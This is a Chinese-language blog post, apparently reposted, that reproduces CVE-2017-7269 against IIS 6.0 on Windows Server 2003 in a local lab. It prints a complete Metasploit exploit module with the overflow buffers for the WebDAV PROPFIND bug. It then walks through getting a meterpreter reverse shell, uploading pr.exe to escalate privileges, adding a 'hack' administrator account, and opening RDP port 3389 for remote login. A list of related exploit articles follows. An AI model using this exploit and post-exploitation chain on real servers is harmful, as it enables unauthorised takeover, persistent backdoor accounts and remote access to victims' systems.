CVE-2017-7269 IIS6.0利用MSF遠端溢位漏洞提權
原址:http://blog.csdn.net/Sk_tang/article/details/79128340
漏洞編號:CVE2017-7269
伺服器版本:Windows server 2003
中介軟體:IIS6.0
攻擊工具:metasploit
POC:CVE2017-7269.rb
靶機IP:192.168.1.175
攻擊機IP:192.168.1.195(kali)
本地漏洞復現過程,安裝windows server 2003 開啟IIS服務
利用poc:
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'CVE-2017-7269 Microsoft IIS WebDav ScStoragePathFromUrl Overflow',
'Description' => %q{
Buffer overflow in the ScStoragePathFromUrl function in the WebDAV service in Internet Information Services (IIS) 6.0 in Microsoft Windows Server 2003 R2 allows remote attackers to execute arbitrary code via a long header beginning with "If: <http://" in a PROPFIND request, as exploited in the wild in July or August 2016.
Original exploit by Zhiniang Peng and Chen Wu.
},
'Author' => [
'Dominic Chell <dominic@mdsec.co.uk>',#original module
'zcgonvh <zcgonvh@qq.com>'#add option : PhysicalPathLength,HttpHost
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', 'CVE-2017-7269'],
[ 'BID', '97127'],
[ 'URL', 'https://github.com/edwardz246003/IIS_exploit'],
],
'Privileged' => false,
'Payload' =>
{
'Space' => 2000,
'BadChars' => "\x00",
'EncoderType' => Msf::Encoder::Type::AlphanumUnicodeMixed,
'DisableNops' => 'True',
'EncoderOptions' =>
{
'BufferRegister' => 'ESI',
}
},
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'PrependMigrate' => true,
'PrependMigrateProc' => "calc"
},
'Targets' =>
[
[
'Microsoft Windows Server 2003 R2',
{
'Platform' => 'win',
},
],
],
'Platform' => 'win',
'DisclosureDate' => 'March 31 2017',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(80),
OptInt.new('PhysicalPathLength', [ true, "length of physical path for target(include backslash)", 19]),
OptString.new('HttpHost', [ true, 'http host for target', 'localhost' ])
], self.class)
end
def exploit
connect
http_host=datastore['HttpHost'] + ":" + datastore['RPORT'].to_s
buf1 = "If: <http://#{http_host}/"
buf1 << "a"*(114-datastore['PhysicalPathLength'])
buf1 << "\xe6\xa9\xb7\xe4\x85\x84\xe3\x8c\xb4\xe6\x91\xb6\xe4\xb5\x86\xe5\x99\x94\xe4\x9d\xac\xe6\x95\x83\xe7\x98\xb2\xe7\x89\xb8\xe5\x9d\xa9\xe4\x8c\xb8\xe6\x89\xb2\xe5\xa8\xb0\xe5\xa4\xb8\xe5\x91\x88\xc8\x82\xc8\x82\xe1\x8b\x80\xe6\xa0\x83\xe6\xb1\x84\xe5\x89\x96\xe4\xac\xb7\xe6\xb1\xad\xe4\xbd\x98\xe5\xa1\x9a\xe7\xa5\x90\xe4\xa5\xaa\xe5\xa1\x8f\xe4\xa9\x92\xe4\x85\x90\xe6\x99\x8d\xe1\x8f\x80\xe6\xa0\x83\xe4\xa0\xb4\xe6\x94\xb1\xe6\xbd\x83\xe6\xb9\xa6\xe7\x91\x81\xe4\x8d\xac\xe1\x8f\x80\xe6\xa0\x83\xe5\x8d\x83\xe6\xa9\x81\xe7\x81\x92\xe3\x8c\xb0\xe5\xa1\xa6\xe4\x89\x8c\xe7\x81\x8b\xe6\x8d\x86\xe5\x85\xb3\xe7\xa5\x81\xe7\xa9\x90\xe4\xa9\xac"
buf1 << ">"
buf1 << " (Not <locktoken:write1>) <http://#{http_host}/"
buf1 << "b"*(114-datastore['PhysicalPathLength'])
buf1 << "\xe5\xa9\x96\xe6\x89\x81\xe6\xb9\xb2\xe6\x98\xb1\xe5\xa5\x99\xe5\x90\xb3\xe3\x85\x82\xe5\xa1\xa5\xe5\xa5\x81\xe7\x85\x90\xe3\x80\xb6\xe5\x9d\xb7\xe4\x91\x97\xe5\x8d\xa1\xe1\x8f\x80\xe6\xa0\x83\xe6\xb9\x8f\xe6\xa0\x80\xe6\xb9\x8f\xe6\xa0\x80\xe4\x89\x87\xe7\x99\xaa\xe1\x8f\x80\xe6\xa0\x83\xe4\x89\x97\xe4\xbd\xb4\xe5\xa5\x87\xe5\x88\xb4\xe4\xad\xa6\xe4\xad\x82\xe7\x91\xa4\xe7\xa1\xaf\xe6\x82\x82\xe6\xa0\x81\xe5\x84\xb5\xe7\x89\xba\xe7\x91\xba\xe4\xb5\x87\xe4\x91\x99\xe5\x9d\x97\xeb\x84\x93\xe6\xa0\x80\xe3\x85\xb6\xe6\xb9\xaf\xe2\x93\xa3\xe6\xa0\x81\xe1\x91\xa0\xe6\xa0\x83\xcc\x80\xe7\xbf\xbe\xef\xbf\xbf\xef\xbf\xbf\xe1\x8f\x80\xe6\xa0\x83\xd1\xae\xe6\xa0\x83\xe7\x85\xae\xe7\x91\xb0\xe1\x90\xb4\xe6\xa0\x83\xe2\xa7\xa7\xe6\xa0\x81\xe9\x8e\x91\xe6\xa0\x80\xe3\xa4\xb1\xe6\x99\xae\xe4\xa5\x95\xe3\x81\x92\xe5\x91\xab\xe7\x99\xab\xe7\x89\x8a\xe7\xa5\xa1\xe1\x90\x9c\xe6\xa0\x83\xe6\xb8\x85\xe6\xa0\x80\xe7\x9c\xb2\xe7\xa5\xa8\xe4\xb5\xa9\xe3\x99\xac\xe4\x91\xa8\xe4\xb5\xb0\xe8\x89\x86\xe6\xa0\x80\xe4\xa1\xb7\xe3\x89\x93\xe1\xb6\xaa\xe6\xa0\x82\xe6\xbd\xaa\xe4\x8c\xb5\xe1\x8f\xb8\xe6\xa0\x83\xe2\xa7\xa7\xe6\xa0\x81"
buf1 << payload.encoded
sock.put("PROPFIND / HTTP/1.1\r\nHost: #{http_host}\r\nContent-Length: 0\r\n#{buf1}>\r\n\r\n")
handler
disconnect
end
end
下載CVE2017-7269.ZIP檔案解壓放到kali下的
【/usr/share/metasploit-framework/modules/exploits/windows/iis】目錄下
在kali下面啟動MSF軟體輸入命令
在之前我們已經將EXP放到MSF攻擊模組下 如圖
接下來是要呼叫該EXP
輸入命令進入CVE2017-7269
該exp涉及到3個引數
指定靶機IP 【RHOST】
指定本機IP 【LHOST】
靶機網站地址【HTTPHOST】
設定返回載荷 set payload windows/meterpreter/reverse_tcp
啟動溢位攻擊,獲取到shell
輸入命令 檢視ip
檢視自己許可權
所以許可權是user許可權是很低的,現在我們要進行提權操作
利用MSF的upload命令上傳pr.exe提權工具
在上傳工具的時候必須需要該目錄有可執行可上傳的許可權
這裡靶機的C盤根目錄擁有執行許可權 實戰中目錄許可權只有挨著嘗試了。
在C盤目錄下建立一個資料夾 進入到shell命令介面
dir命令檢視是否建立成功
目錄存在,接下來就是上傳pr.exe到該目錄了
將pr.exe放到kali機器下面
upload命令格式是
upload 【上傳檔案絕對路徑 】【目標伺服器絕對路徑】
上傳成功 進入shell介面進入pr資料夾下面,利用pr.exe進行提權操作
net user 檢視是否建立成功
成功建立使用者,將hack使用者新增到管理員組
net user hack 檢視該使用者許可權
提權成功,接下來是開啟遠端連線 檢視是否開啟了3389埠
該伺服器沒有開啟3389 但是我們可以利用3389.exe開啟3389埠
同樣上傳一個3389.exe到pr檔案下面
上傳成功 同樣利用pr執行該檔案
netstat -an 檢視
成功開啟3389 現在遠端登入目標伺服器
登入要伺服器,利用msf 提權成功。。~~~
相關文章
- YoungzsoftCMailServer遠端棧溢位漏洞AIServer
- CVE-2017-7269 IIS6.0遠端程式碼執行漏洞復現
- 一個簡單的遠端溢位漏洞分析
- MikroTik RouterOS 中發現了可遠端利用的緩衝區溢位漏洞ROS
- Linux堆溢位漏洞利用之unlinkLinux
- 從CVE復現看棧溢位漏洞利用
- 緩衝區溢位漏洞的原理及其利用實戰
- Linux提權————利用SUID提權LinuxUI
- 利用for命令提權
- RCE(遠端程式碼執行漏洞)原理及漏洞利用
- CODESYS V3遠端堆溢位漏洞復現(環境配置+復現過程)
- [二進位制漏洞]棧(Stack)溢位漏洞 Linux篇Linux
- Linux 提權-核心利用Linux
- 齊博cms最新SQL隱碼攻擊網站漏洞可遠端執行程式碼提權SQL網站行程
- 棧溢位基礎及利用
- Windows PrintDemon提權漏洞分析Windows
- SMT整型溢位漏洞分析筆記筆記
- 快取區溢位漏洞工具Doona快取
- 二進位制漏洞挖掘之整數溢位
- phpcms網站漏洞修復遠端程式碼寫入快取漏洞利用PHP網站快取
- Linux kernel 堆溢位利用方法Linux
- php4.0.0遠端溢位原始碼分析與測試程式 (轉)PHP原始碼
- 編寫批處理檔案利用諾頓2967埠溢位獲得控制權
- Linux kernel 堆溢位利用方法(二)Linux
- 以太坊智慧合約 Hexagon 存在溢位漏洞Go
- 提權系列(二)----Windows Service 伺服器提權之Mssql提權,GetPass提權,hash提權,LPK提權Windows伺服器SQL
- Windows 核心 利用教程 4 池風水 -> 池溢位Windows
- Risk Based Security三季度漏洞快報:近50%可被遠端利用
- perl格式串處理整數溢位漏洞(轉)
- IMail SMTP 緩衝區溢位漏洞 (APP,缺陷) (轉)AIAPP
- 記憶體溢位:native溢位 和 上層溢位記憶體溢位
- Redis 未授權訪問漏洞利用Redis
- Linux利用UDF庫實現Mysql提權LinuxMySql
- 利用Serv-u提權的簡單思路
- 緩衝區溢位漏洞那些事:C -gets函式函式
- 一個緩衝區溢位漏洞的簡易教程
- WordPress SQL隱碼攻擊漏洞與提權分析SQL
- 在Windows低許可權下利用服務進行提權Windows